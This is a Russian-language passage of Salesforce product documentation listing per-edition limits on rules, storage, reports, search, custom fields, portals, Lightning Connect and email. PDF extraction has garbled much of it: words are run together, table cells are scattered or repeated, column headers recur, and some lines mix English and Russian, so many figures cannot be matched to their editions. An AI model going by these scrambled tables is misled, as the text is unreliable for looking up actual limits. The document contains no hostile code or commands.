Unlimited Edition, Performance Edition и Developer Edition

———Правилаобщегодоступа

администраторымогутсоздаватьнеболее300правил
общего доступа на объект, в том числе не более 50
правил на основе критериев.

Размер
одного

Размер
одного

Размер
одного

Размер
одного

Размер
одного

Размер
одного

—Статические ресурсы

статическогостатическогостатическогостатическогостатическогостатического
ресурсаресурсаресурсаресурсаресурсаресурса
можетможетможетможетможетможет
составлятьсоставлятьсоставлятьсоставлятьсоставлятьсоставлять
не более
5 Мб.
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

Общий
размер

не более
5 Мб.

Общий
размер

не более
5 Мб.

Общий
размер

не более
5 Мб.

Общий
размер

не более
5 Мб.

Общий
размер

не более
5 Мб.

Общий
размер

статических
ресурсов
организациистатическихстатическихстатическихстатическихстатических
можетресурсовресурсовресурсовресурсовресурсов
составлятьорганизацииорганизацииорганизацииорганизацииорганизации
не более
250 Мб.

может
составлять
не более
250 Мб.

может
составлять
не более
250 Мб.

может
составлять
не более
250 Мб.

может
составлять
не более
250 Мб.

может
составлять
не более
250 Мб.

100Unlimited
Edition

251053—Вкладки

((Настраиваемыевкладки
управляемого пакета,
опубликованного в
каталоге AppExchange, не
учитываются
ограничениями,
установленными для
версии Salesforce.)

1010105NANA—Настраиваемое меню
навигации Lightning
Experience

Во всех версиях ограничение для пользователя составляет не более:Теги

• 500 уникальных личных тегов

• 5 000 экземпляров личных тегов, примененных к записям

Ограничение для всех пользователей организации составляет не более:

• 1 000 уникальных общедоступных тегов

• 50 000 экземпляров общедоступных тегов, примененных к записям

• 5 000 000 экземпляров личных и общедоступных тегов, примененных к записям

151515————Территории:
максимальное
количество правил
назначенияорганизаций
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

2

5 000 Chatter
Free

Unlimited
Edition

5 000 Chatter
Free

Unlimited
Edition

5 000 Chatter
Free

Unlimited
Edition

5 000 Chatter
Free

10

5 000 Chatter
Free

5

5 000 Chatter
Free

1Пользователи:
максимальное
количество созданных
пользователей

В версиях Enterprise Edition, Unlimited
Edition, Performance Edition и Developer

————Visual Workflow

Edition каждый поток может иметь не
более:

• 50 версий

• 2 000 действий

Каждая организация может
использовать не более:

• 500 активных потоков

• 1 000 потоков всего

• 30 000 ожидающих сеансов в
определенное время

• 1 000 событий, обрабатываемых за
час

• 20 000 заданных событий
оповещения по относительному
времени во всех потоках и их
версиях

5,00085,00085,00085,0008———Web-to-Case:
максимальное
количество новых
обращений, созданных в
течение суток

5008500850085008———Web-to-Lead:
максимальное
количество новых
интересов, созданных в
течение суток

1 Вложение может быть добавлено в связанный список «Вложения» для обращений, решений, кампаний, задач или
событийлибо в связанный список «Примечанияи вложения» для организаций, контактов, интересов, возможностейили
настраиваемых объектов. Если данный связанный список не отображается, обратитесь к администратору с просьбой
добавить его вмакетыстраницзадачилисобытий. Поддерживаютсявсе типыфайлов, в томчисле: презентации Microsoft®

PowerPoint, электронные таблицы Excel, PDF-файлы Adobe®, изображения, аудио- и видеофайлы.
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2 При замене данных для маркеров URL-адреса размер ссылки может превышать 3 000 байтов. Обозреватель может
накладывать дополнительные ограничения на максимальную длину URL-адреса.
3 Каждая взаимосвязь учитывается максимальным количеством настраиваемых полей.
4 Ограничение, равное 100 внешним объектам, применяется независимо от количества дополнительных компонентов
Lightning Connect, приобретенных для организации.
5 Количество дочерних записей для взаимосвязи «Основная — подробная» не должно превышать 10 000.
6 Максимальное количество записей, которые могут быть помещены в очередь в организации, по всем очередям с
включенным мультиканалом. Каждый раз при назначении элемента в очередь мультиканала платформа проверяет,
сколько элементов было помещено в очередь за предыдущий час. Если достигнут предел, то элемент не назначается в
очередь.

Увеличение ограничений для приложений посредством Expansion Pack
и Unlimited Apps Pack
Expansion Pack или Unlimited Apps Pack позволяет увеличивать заданные ограничения, связанные с приложениями.

Expansion Pack для версии Professional Edition
Версия Professional Edition позволяет приобретать компоненты Expansion Pack для увеличения ограничений, заданных для
приложений, вкладок и объектов. Каждый компонент Expansion Pack соответствует лицензии пользователя организации.

Таблица ниже содержит ограничения, обновляемые посредством Expansion Pack.

Professional Edition + Expansion
Pack

Professional EditionФункция

155Настраиваемые приложения

2510Настраиваемые вкладки

20050Настраиваемые объекты

Unlimited Apps Pack для версии Enterprise Edition
Версия Enterprise Edition позволяет приобретать компоненты Unlimited Apps Pack для увеличения ограничений, заданных
дляприложений, вкладокиобъектов, а такжемаксимальногоколичества вызовов API иобъемахранилищаданных. Каждый
компонент Unlimited Apps Pack соответствует лицензии пользователя организации.

Таблица ниже содержит ограничения, обновляемые посредством Unlimited Apps Pack.

Enterprise Edition + Unlimited Apps
Pack

Enterprise EditionФункция

Не ограничено (9 999)10Настраиваемые приложения

Не ограничено (9 999)25Настраиваемые вкладки

2,000200Настраиваемые объекты

Текущее ограничение + 4 000 вызововОпределяется типом лицензииВызовы API
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Enterprise Edition + Unlimited Apps
Pack

Enterprise EditionФункция

120 Мб на пользователя или 1 Гб на
организацию (что больше)

20 Мб на пользователя или 1 Гб на
организацию (что больше)

Хранилище данных

Добавление компонентов
Компоненты Expansion Pack и Unlimited Apps Pack доступны только пользователям Sales Cloud, Service Cloud, Force.com и
Site.com Only. Expansion Pack или Unlimited Apps Pack может использоваться для обновления организации только один раз.
Если ограничения, предоставляемые пакетом, являются недостаточными, рекомендуем обновить версию организации.
Чтобы добавить компонент Expansion Pack или Unlimited Apps Pack, обратитесь к представителю Salesforce.

Ограничения по доступности
Общиеограниченияподоступности, а такжеограниченияпоиспользованиюклавиатурыипрограммдлячтения экрана.

Общие ограничения по доступности
Chatter и консоль Salesforce не поддерживают функции доступности.

Функции Salesforce, недоступные зрячим пользователям клавиатуры
Нижеперечисленыфункции, которыеполностьюнедоступнызрячимпользователямклавиатуры. Возможныепричины:
собственность сторонней компании, отсутствие адекватной поддержки для решений доступности или ограничения,
применяемые нашими средами разработки.

• Визуальный индикатор фокусировки не внедрен.

• Некоторое содержимое отображается в областях наложения без использования соответствующей клавиатурной
фокусировки и контроля команд. Данные области доступны в Chatter и обучающих видеороликах.

• Некоторыерасширенныеинтерактивныеинтерфейсы (например, интерфейсыперетаскивания) неподдерживаются
клавиатурой. Данные интерфейсы могут использовать альтернативные методы или не поддерживаться режимом
доступности.

Функции Salesforce, недоступные пользователям программы для чтения экрана
Нижеперечисленыфункции, которыеполностьюнедоступныпользователямпрограммыдлячтенияэкрана. Возможные
причины: собственность сторонней компании, отсутствие адекватной поддержки для решений доступности или
ограничения, применяемые нашими средами разработки.

• Некоторыерасширенныеинтерактивныеинтерфейсы (например, интерфейсыперетаскивания) неподдерживаются.
Данные интерфейсы могут использовать альтернативные методы или не поддерживаться режимом доступности.

• PDF-файлы не поддерживают режим доступности.

• Обучающие видеоролики не поддерживают звуковое описание (включая расширенное звуковое описание).

• Некоторое содержимое отображается в областях наложения, которые не распознаются программами для чтения
экрана, благодарячемупользовательможет взаимодействовать с другимсодержимым, не закрываяобластьналожения.
Данные области доступны в Chatter и обучающих видеороликах.
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• При использованиифункции замедленного чтения предупреждение о завершении сеанса может быть озвучено
слишком поздно.

Chatter и консоль Salesforce не поддерживают функции доступности.

Ограничения отчетов и панелей мониторинга Salesforce по версиям
Различия между фильтрацией и редактированием отчетов, снимков, панелей мониторинга.

Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

20202020202020Количество фильтров
поля на отчет1

5555555Количество формул на
отчет

1 в час2

(только
2 в час21 в час21 в час2

(только
———Запланированныеотчеты

(Размер электронного
отчета не должен
превышать 10 Мб.)

непиковые
часы
работы3)

(Не более
трех

часы
неполной
нагрузки3)

(Не более
трех

предпочтительныхпредпочтительных
временвремен
начала;начала;
данноеданное
количествоколичество
не можетне может
быть
изменено)

быть
изменено)

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

3 на панель
мониторинга

———Фильтры панели
мониторинга

Не более
трех на
организацию

Неболее10
на
организацию

Не более
пяти на
организацию

————Динамические панели
мониторинга

—2 в час21 в час2————Запланированные
обновления панели
мониторинга

4002,00020050———Типы настраиваемых
отчетов

((Ограничения
применяются ко всем
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

типам настраиваемых
отчетов, независимо от
статуса разработки.)

1 в час2

(только
2 в час21 в час21 в час2

(только
———Отчетные снимки

непиковыенепиковые
часы
работы3)

(Не более
одного

часы
работы3)

(Не более
одного

предпочтительногопредпочтительного
временивремени
начала вначала в
день;день;
данноеданное
количествоколичество
не можетне может
быть
изменено)

быть
изменено)

1 Данные ограничения применяются к конструктору отчетов. При использовании мастера отчетов ограничение равно
10.
2 Не более 200.
3 Часы неполной нагрузки — это промежуток времени между 18:00 и 03:00 по местному времени.

СМ. ТАКЖЕ:

Ограничения для отчетов

Ограничения по поиску
Ограниченияпопоиску, применяемыекрасширениямфайлов, размерамфайлов, группамсинонимовираскрывающимся
спискам.

Ограничения по поиску документов
Ограничения по поиску документов, применяемые к типу и размеру файла.

Ограничения по поиску синонимов
С помощью групп синонимов наборы слов или фраз поровну обрабатываются в поисках. Поиск термина в группе
синонима возвращает результаты для всех терминов данной группы. Организация может создавать до 10 000 групп
синонимов.
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Ограничения по поиску раскрывающихся списков
Присортировкерезультатовпоискадляотдельногообъекта заголовкистолбцовдляполейраскрывающихсясписков
со множественным выбором недоступны для нажатия, так как тип поля раскрывающегося списка со множественным
выбором не поддерживает возможность сортировки.

Ограничения по поиску документов
Ограничения по поиску документов, применяемые к типу и размеру файла.

Функция поиска по содержимому документов поддерживает несколько типов файлов и использует ограничения по их
размеру. Содержимое документов, размер которых превышает максимально допустимый, недоступно для поиска; поиск
может быть выполненпополямдокумента. Поиск выполняется толькопопервомумиллиону символов. Остальной текст
поиском не охватывается.

Максимальный размерРасширения файлаТип файла

5 Мб.htm, .html, .xhtmlHTML (только текст внутри тега
<body>)

25 Мб.pdfPDF

25 Мб.pot, .pps, .pptPPT

5 Мб.rtfRTF

5 Мб.c, .cpp, .css.csv, .ini, .java,
.log, .sql, .txt

Текст

25 Мб.doc, .dotWord

5 Мб или не более 100 000 ячеек.xls, .xltXLS

5 Мб.xmlXML

СМ. ТАКЖЕ:

Ограничения по поиску для файлов Chatter

Ограничения для Salesforce CRM Content

Ограничения по поиску синонимов
С помощью групп синонимов наборы слов или фраз поровну обрабатываются в поисках. Поиск термина в группе
синонима возвращает результаты для всех терминов данной группы. Организация может создавать до 10 000 групп
синонимов.

Ограничения по поиску раскрывающихся списков
При сортировке результатов поиска для отдельного объекта заголовки столбцов для полей раскрывающихся списков
со множественным выбором недоступны для нажатия, так как тип поля раскрывающегося списка со множественным
выбором не поддерживает возможность сортировки.
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Ограничения для стандартных объектов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ограничения для стандартных объектов позволяют просматривать сведения об
использованиинастроек объектов (например, количество добавленныхнастраиваемых
полей или примененных правил общего доступа).

Отображаемый список определяется выбранным объектом. Совет по дальнейшим
действиям отображается в том случае, если ограничение, установленное для объекта,
достигает или превышает 75%.

Страница ограничений для стандартного объекта может использоваться при
планировании настройки отдельного стандартного объекта или отслеживания
показателей использования установленных ограничений.

Перейдите на страницу «Ограничения» посредством параметров управления для
соответствующего объекта.

Прим.: Ограничения в процентах отображаются усеченными, а не округленными. Например, если организация
использует ограничение для отдельной настройки на 95,55%, то отображается 95%.

Ограничения по поддержке и администрированию

Ограничения для правил назначения, автоматического ответа и расширения
Ограничения по автоматизации процесса создания интересов, а также ограничения для электронных ответов и
расширений по версиям.

Ограничения для Chatter Answers

Ограничения для вопросов и настроек клиентского портала.

Ограничения для полей, раскрывающихся списков и параметров данных
Ограничения для настраиваемых полей, раскрывающихся списков, настраиваемых раскрывающихся списков и
настраиваемых параметров данных.

Ограничения для клиентских порталов
Ограничения для настраиваемых объектов на клиентском портале, а также ограничения для пользователей портала.

Ограничения по импорту данных
Ограничения по импорту данных посредством приложения Data Loader.

Ограничения по интеграции внешних данных
Ограничения для Lightning Connect по доступу к данным, хранящимся вне организации Salesforce.

Ограничения для пользователей External Identity

Ограничения определяются лицензиями пользователя External Identity.

Ограничения для сообщений эл. почты
Ограничения для сообщений эл. почты, пакетных электронных рассылок и электронных бизнес-правил.

Ограничения для Salesforce Knowledge

Ограничения для Salesforce Knowledge по версиям.

Ограничения для полей
Ограничения для зашифрованных полей, полей слияния и полей формулы.
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Ограничения для хранилищ ифайлов
Ограничения для Salesforce Files, CRM Content и Chatter, а также ограничения по распределению хранилища.

Ограничения по просмотру страниц Force.com Sites

Ограничения для запросов, считающихся просмотрами страниц.

Ограничения по выставлению счета для Force.com Sites

Термины для ограничений по выставлению счета для сайтов Force.com.

Общие ограничения для безопасных сред и их хранилищ
Ограничения для безопасных сред.

Ограничения для партнерских порталов
Ограничения для партнерских порталов.

Ограничения для политик паролей
Ограничения по количеству и использованию паролей пользователей.

Ограничения для консоли Salesforce

Общие ограничения по использованию консоли Salesforce.

Ограничения для сайтов по версиям
Ограничения для сайтов, пропускной способности, времени запроса на обслуживание и максимального количества
просмотров страниц по версиям.

Ограничения по импорту Site.com

Ограничения по импорту сайтов и файлов.

Ограничения для веб-запросов
Ограничения по параллельному использованию веб-запросов.

СМ. ТАКЖЕ:

Замечания по Lightning Experience

Ограничения для приложения Salesforce Classic Mobile

Ограничения и отличия приложения Salesforce1 от полной версии Salesforce

Рекомендации по использованию инструментов управления повторами

Рекомендации по редактированию записей посредством встроенного редактора

Ограничения для правил назначения, автоматического ответа и расширения
Ограниченияпоавтоматизациипроцессасозданияинтересов, атакжеограничениядляэлектронныхответовирасширений
по версиям.

Правиланазначенияпозволяютавтоматизироватьсозданиеинтересовипроцессыподдержки, используемыеворганизации.
Правила автоматическогоответа позволяютопределять условия для отправки автоматических электронныхответов при
полученииинтересов или обращений. Правила расширения позволяют автоматически расширять обращения, которые
не были решены по истечении заданного периода времени.

Ограничения для разных типов правил определяются используемой версией Salesforce. В таблице ниже приведены
ограничения для каждой версии.
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения

50 на объект50 на объект50 на объект50 на объект———Активные
правила

(Ограничения
применяются
к любым
комбинациям
активных
процессов,
бизнес-правил,
правил
назначения,
правил
автоматического
ответа и
правил
расширения.)

500 наобъект

2 000 на
организацию

500 наобъект

2 000 на
организацию

500 наобъект

2 000 на
организацию

500 наобъект

2 000 на
организацию

———Общее
количество
правил

(Ограничения
применяются
к любым
комбинациям
активных и
неактивных
бизнес-правил,
правил
назначения,
правил
автоматического
ответа и
правил
расширения.)

Каждое правило назначения, автоматического ответа или
расширения может использовать:

———Правила
назначения,
автоматического • 3 000 записей правила
ответа и
расширения • 300 записей правила на основе критериев формулы

• 25 критериев фильтрации на запись правила

200200200200———Общее
количество
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Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения

действий на
правило

Ограничения для Chatter Answers
Ограничения для вопросов и настроек клиентского портала.

Компонент Chatter Answers объединяет вкладки «Обращения» и «Ответы», а также Force.com Sites, клиентский портал и
Salesforce Knowledge, в веб-сообщество.

Ниже перечислены ограничения, действующие для Chatter Answers.

• Каждый вопрос Chatter Answers поддерживает не более 500 ответов.

• При настройке клиентского портала вкладка «Ответы» поддерживает все стили вкладки и только следующие стили
страницы:

– Фон страницы

– Текст

– Ссылка

– Всплывающая ссылка

СМ. ТАКЖЕ:

Советы по внедрению Chatter Answers

Ограничения для полей, раскрывающихся списков и параметров данных
Ограничения для настраиваемых полей, раскрывающихся списков, настраиваемых раскрывающихся списков и
настраиваемых параметров данных.

Ограничения для настраиваемых полей объекта
Ограничения для настраиваемых полей по версиям.

Ограничения для настраиваемых раскрывающихся списков
Ограничения для настраиваемых списков, позволяющих выбирать предварительно заданные значения.

Ограничения для настраиваемых параметров
Ограничения для размера кэшированных данных, действующие для настраиваемых параметров.

Ограничения для стандартных раскрывающихся списков
Ограничения для значений стандартных раскрывающихся списков.

Ограничения для настраиваемых полей объекта
Ограничения для настраиваемых полей по версиям.
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Количествонастраиваемыхполей, допустимоедляобъекта, определяетсяиспользуемойверсией Salesforce. Максимальное
количество действий, полей типа «Область подробного текста», полей типа «Область обогащенного текста», полей
взаимосвязи и полей сводного резюмирования также определяется используемой версией системы. В таблице ниже
перечислены максимальные ограничения для каждого типа настраиваемого поля и версии.

Unlimited
Edition и
Performance
Edition

Developer
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Ограничения
для
настраиваемых
полей

10010010020Без
дополнительного
ограничения

Без
дополнительного
ограничения

Без
дополнительного
ограничения

Действия

Объект может содержать неограниченное количество полей типа «Область обогащенного текста» и
«Область подробного текста», несмотря на применение ограничения версии по общему количеству

Поля типа
«Область
подробного
текста»

настраиваемыхполей, доступномудляобъекта, независимооттипаполя. Каждыйобъектможетсодержать
не более 1,6 миллиона символов во всех полях типа «Область подробного текста» и «Область

Поля типа
«Область

обогащенноготекста». Присозданииполятипа «Областьподробноготекста» или «Областьобогащенного
текста» рекомендуем задать максимальную длину вводимого текста. По умолчанию данные поля могут
содержатьнеболее 32 768 символов (32 Кб). Максимальная длинаданныхполейможет составлять 131 072
символа (128 Кб). Минимальная длина составляет 256 символов.

обогащенного
текста»

Максимальный размер изображения, доступного для загрузки в поле типа «Область обогащенного
текста», составляет 1 Мб.

404040404040Без
дополнительного
ограничения

Поля
взаимосвязи

252525252525Без
дополнительного
ограничения

Поля
сводного
резюмирования

Ограничения для настраиваемых раскрывающихся списков
Ограничения для настраиваемых списков, позволяющих выбирать предварительно заданные значения.

Настраиваемые раскрывающиеся списки, ограничиваемые 15 000 символов, могут содержать:

• Не более 1 000 записей

• Не более 255 символов на запись

Настраиваемыеэлементыраскрывающегося списка смножественнымвыбороммогут содержатьдо 500 значений. Заодин
раз для записи можно выбрать до 100 значений.

Ограничения для настраиваемых параметров
Ограничения для размера кэшированных данных, действующие для настраиваемых параметров.

Настраиваемые параметры доступны в полях формулы, правилах проверки, коде Apex и SOAP API.

Ниже перечислены ограничения, действующие для размера кэшированных данных и настраиваемых параметров.
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• Общий размер кэшированных данных, допустимый для организации, должен быть наименьшим из двух значений:

– 10 Мб

– 1 Мб, умноженный на количество полных лицензий пользователя в организации

Например, организации, использующейтриполныхлицензии, предоставляетсяхранилищенастраиваемыхпараметров
размером 3 Мб. Организации, использующей 20 полных лицензий, предоставляется хранилище размером 10 Мб.

• Каждомусертифицированномууправляемомупакетупредоставляетсяотдельноеограничениенаряду сограничением
дляорганизации. Например, еслиорганизацияустанавливаетдвасертифицированныхуправляемыхпакетаииспользует
три полных лицензии, то каждому сертифицированному управляемому пакету предоставляется хранилище
настраиваемых параметров размером 3 Мб наряду с аналогичным ограничением для организации, равным 3 Мб.

• Разрешается добавлять не более 300 полей на один настраиваемый параметр, если ограничение для настраиваемых
объектов составляет не менее 300 полей. Если данное ограничение составляет менее 300 полей, то ограничение по
количеству полей для настраиваемых параметров равняется ограничению по количеству полей для настраиваемых
объектов.

Ограничения для стандартных раскрывающихся списков
Ограничения для значений стандартных раскрывающихся списков.

Раскрывающийся список — это настраиваемый список, позволяющий выбирать предварительно заданные значения.

Максимальноеколичествозаписей, доступноевраскрывающемсясписке, определяетсяобщимразрешеннымколичеством
символов, равным 15 000. Обратите внимание, что каждая запись содержит разрыв строки и символ возврата, которые не
отображаются. Этидва дополнительныхсимволана каждуюзапись учитываютсяограничением, равным 15 000 символов.

Записистандартныхраскрывающихсясписковмогут содержатьнеболее 40 символовбез учетаразрывовстрокисимволов
возврата. Общее количество символов для всех записей стандартных раскрывающихся списков со множественным
выбором не может превышать 255.

Стандартные раскрывающиеся списки в организациях, использующих типы записей или средство перевода, могут
содержать неограниченное количество записей, кроме исключений ниже для специальных раскрывающихся списков.

Максимальное количество записейПоле раскрывающегося списка

100Статус интереса

100Статус задачи

50Приоритет задачи

100Статус обращения

50Приоритет обращения

100Этап возможности

Ограничения для клиентских порталов
Ограничения для настраиваемых объектов на клиентском портале, а также ограничения для пользователей портала.

Дополнительную информацию о количестве клиентских порталов и лицензий клиентского портала, доступных для
активации, можно получить в компании Salesforce.
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Ограничения для настраиваемых объектов на клиентских порталах
Ниже перечислены ограничения, действующие для настраиваемых объектов на клиентских порталах.

• Максимальное количество настраиваемых объектов, доступное для добавления на клиентский портал, определяется
общим количеством настраиваемых объектов, установленным для используемой версии.

• Кроме того, лицензии определяют количество настраиваемых объектов, доступное пользователю на клиентском
портале. Дополнительную информацию можно получить в компании Salesforce.

Ограничения организаций-лиц
Пользователю Salesforce может принадлежать не более 1 000 пользователей портала организации-лица. Сюда относятся
пользователи организаций-лиц с лицензиями Customer Community Plus, Customer Portal и другими лицензиями портала
на основе ролей. Пользователиорганизаций-лиц с лицензиямимассовогопортала, напримерHigh Volume Customer Portal
или Customer Community, не попадают под это ограничение. Пользователи с лицензиями партнерского портала или
Partner Community не могут быть пользователями организаций-лиц, так что это ограничение для них не действует.

Ограничения для ролей портала
Максимальноеколичестворолейпорталадляорганизациисоставляет 5 000. Данноеограничениеохватываетролипортала,
связанныесовсемиклиентскимипорталами, партнерскимипорталамиилисообществамиорганизации.Чтобыизбежать
ненужногоувеличенияданногоколичества, рекомендуемрегулярнопроверятьисокращатьколичестворолейдлякаждого
портала и сообщества. Кроме того, рекомендуем удалять неиспользуемые роли портала. Чтобы увеличить количество
ролей портала, обратитесь в службу поддержки Salesforce.

СМ. ТАКЖЕ:

Включение Salesforce CRM Content на клиентском портале

Ограничения по настройке клиентского портала

Ограничения по импорту данных
Ограничения по импорту данных посредством приложения Data Loader.

Ниже перечислены ограничения, действующие для данных, импортированных посредством приложения Data Loader.

Разрешается использовать только даты, соответствующие выбранному диапазону. Допустимая начальная дата:
1700-01-01T00:00:00Z GMT илипервые секунды 1 января 1700 года. Допустимая конечная дата: 4000-12-31T00:00:00Z GMT или
первые секунды 31 декабря 4000 года. Данные значения смещаются согласно часовому поясу пользователя. Например,
допустимая начальная дата по тихоокеанскому времени: 1699-12-31T16:00:00 или 16:00 31 декабря 1699 года.

При использовании приложения Data Loader 28.0 или более поздней версии максимальный размер поля для
импортированных CSV-файлов составляет 32 000 символов.
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Ограничения по интеграции внешних данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Developer Edition.

Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Ограничения для Lightning Connect по доступу к данным, хранящимся вне организации
Salesforce.

Общие ограничения для Lightning Connect
For each user, the maximum number of external objects to which you can grant object permissions
is equal to the maximum number of custom objects that the user is allowed to access. Данное
ограничение определяется лицензией, назначенной пользователю.

100Maximum external objects per org1

4Максимальное количество присоединений на один запрос для
внешних объектов и объектов других типов

4000 символовМаксимальная длина маркера OAuth, созданного внешней системой

1 The limit of 100 external objects applies regardless of how many Lightning Connect add-ons you purchase for your org.

Ниже перечислены ограничения, которые применяются только к адаптеру OData 2.0 и 4.0 для Lightning Connect.

8 МбМаксимальный размер HTTP-запроса для OData

8 МбМаксимальный размер HTTP-ответа для OData

16 МбМаксимальный размер результирующего набора для запроса OData

1 000 строкМаксимальный размер результирующего набора для подзапроса OData

50,000Максимальное количество новых строк, извлеченных за час для внешнего источника данных

(Данноеограничениенеприменяетсяккрупнымвнешнимисточникамданныхилиизвлеченным
ранее строкам.)

An org is limited to:

• 10 000 запросов OData в час прииспользовании версии Enterprise Edition, Performance Edition или Unlimited Edition. Более
высокие ограничения доступны по запросу.

• 1 000 запросов OData в час при использовании версии Developer Edition.

СМ. ТАКЖЕ:

Рекомендации по использованию Lightning Connect: все адаптеры

Ограничения для пользователей External Identity
Ограничения определяются лицензиями пользователя External Identity.

Рекомендуемограничитьколичествопользователейлицензии External Identity всообществепятьюмиллионамиуникальных
пользователей в месяц. Чтобы увеличить данное ограничение, обратитесь к менеджеру по работе с клиентами Salesforce.
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Превышение данного ограничения может инициировать повышение текущих платежей и снижение ожидаемой
производительности.

Ограничения для сообщений эл. почты
Ограничения для сообщений эл. почты, пакетных электронных рассылок и электронных бизнес-правил.

Общие ограничения для сообщений эл. почты
Ограничения для сообщений эл. почты ишаблонов эл. почты по версиям.

Ежедневные ограничения для электронных бизнес-правил
Ограничения для электронных предупреждений, связанных с бизнес-правилами и утверждениями.

Ограничения для пакетных электронных рассылок
Ограничения по отправке пакетных электронных рассылок по версиям.

Общие ограничения для сообщений эл. почты
Ограничения для сообщений эл. почты ишаблонов эл. почты по версиям.

Страницыорганизаций, контактов, интересов, возможностей, обращений, кампанийинастраиваемыхобъектовпозволяют
напрямую отправлять отдельные сообщения эл. почты контактам, интересам, организациям-лицам и пользователям
организации.

Втечениеодногодня (поГринвичу) количествовнешнихадресовэлектроннойпочты, участвующихвотправкеотдельных
сообщенийпосредствомAPIилиApex, недолжнопревышать1 000. Данноеограничениенераспространяетсянаотдельные
сообщения эл. почты, отправленные посредством приложения Salesforce.Страницы организаций, контактов, интересов,
возможностей, обращений, кампанийинастраиваемыхобъектовпозволяютнапрямуюотправлятьотдельныесообщения
электронной почты контактам, интересам, организациям-лицам и пользователям организации.

Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

384 Кб для
текстовых

Шаблоны эл. почты:
максимальный размер

• 384 Кб для текстовых, HTML- и настраиваемых HTML-шаблонов

• 1 Мб для шаблонов Visualforceшаблонов
эл. почты

Для всех версий:Входящиесообщенияэл.
почты, отправленные в
Salesforce

• Размер усеченного текста сообщения эл. почты: 32 Кб

• Максимальное количество действий, создаваемых при получении каждого сообщения
эл. почты: 50

• Максимальный размер отдельного файлового вложения: 5 Мб

• Общий максимальный размер файловых вложений: 25 Мб1

Количество
лицензий

Количество
лицензий

Количество
лицензий

Количество
лицензий

———Службы эл. почты:
максимальное

пользователя,пользователя,пользователя,пользователя,количество сообщений
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

эл. почты,
обрабатываемых

умноженное
на 1 000 (но

умноженное
на 1 000 (но

умноженное
на 1 000 (но

умноженное
на 1 000 (но

системой Salesforce за
день

не более
1 000 000
ежедневно)

не более
1 000 000
ежедневно)

не более
1 000 000
ежедневно)

не более
1 000 000
ежедневно)

25 Мб125 Мб125 Мб125 Мб1———Службы эл. почты:
максимальный размер
сообщения эл. почты
(включая заголовки,
текст, вложения и
кодировку)

2,5002,5002,5002,500———Email-to-Case:
максимальное
количество сообщений
эл. почты,
преобразованных в
обращения за день

1,0001,0001,0001,0001,0001,0001,000Расширенные
стандартные письма:
максимальное
количество записей

1 Мб1 Мб1 Мб1 Мб1 Мб1 Мб1 МбРасширенные
стандартные письма:
общий максимальный
размер выбранных
шаблонов

Для версий Group Edition, Professional Edition, Enterprise Edition,
Unlimited Edition, Performance Edition и Developer Edition:

——Поле слияния:
Case.Email_Thread

• Максимальное количество сообщений эл. почты: 200

• Размер усеченного текста сообщения эл. почты: 32 Кб

25 Мб125 Мб125 Мб125 Мб1———On-Demand Email-to-Case:
максимальный размер
сообщения эл. почты
(включая заголовки,
текст, вложения и
кодировку)

Количество
лицензий

Количество
лицензий

Количество
лицензий

Количество
лицензий

———On-Demand Email-to-Case:
максимальное
количество сообщений пользователя,пользователя,пользователя,пользователя,
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Developer
Edition

Unlimited
Edition и
Performance
Edition

Enterprise
Edition

Professional
Edition

Group
Edition

Contact
Manager

Personal
Edition

Функция

умноженное
на 1 000 (но

эл. почты,
обрабатываемых

умноженное
на 1 000 (но

умноженное
на 1 000 (но

умноженное
на 1 000 (но

не болеесистемой Salesforce за
день

(учитывается
ограничением для служб
эл. почты)

не более
1 000 000
ежедневно)

не более
1 000 000
ежедневно)

не более
1 000 000
ежедневно)

1 000 000
ежедневно)

1 Максимальный размер сообщений для служб электронной почты определяется используемым языком и набором
символов. Размер сообщения эл. почты включает заголовки, текст, вложения и кодировку. Таким образом, учитывая
размер заголовков, текста и кодировки, сообщение эл. почты, содержащее вложение размером 25 Мб, скорее всего не
будет соответствовать установленному ограничению для общего размера сообщения эл. почты, равному 25 Мб.

СМ. ТАКЖЕ:

Ограничения для пакетных электронных рассылок

Ежедневные ограничения для электронных бизнес-правил

Ежедневные ограничения для электронных бизнес-правил
Ограничения для электронных предупреждений, связанных с бизнес-правилами и утверждениями.

Ежедневноеограничениепоколичествусообщенийэл. почты, отправленныхпосредствомэлектронныхпредупреждений,
составляет1 000 штукнаоднуорганизациюсостандартнойлицензией Salesforce, кромебесплатныхорганизаций Developer
Edition ипробныхорганизаций, ежедневноеограничениекоторыхсоставляет15 штукна стандартнуюлицензию Salesforce.
Общее ограничение для организации составляет 2 000 000. Данное ограничение применяется к сообщениям эл. почты,
отправленнымпосредствомэлектронныхпредупрежденийвбизнес-правилах, процессах утверждения, потокахили REST
API.

Степень ограничения определяется количеством действий в течение 24 часов, начиная с 00:00 по Гринвичу. Добавление
или удаление лицензии пользователя инициирует незамедлительную корректировку общего ограничения. Если
электронное предупреждение отправляется группе, то ежедневное ограничение охватывает всех ее участников.

Ниже перечислены действия, выполняемые при достижении установленного ежедневного ограничения.

• Все отложенные сообщения эл. почты в очереди бизнес-правил пропускаются. Система Salesforce не предпринимает
повторной попытки их отправки.

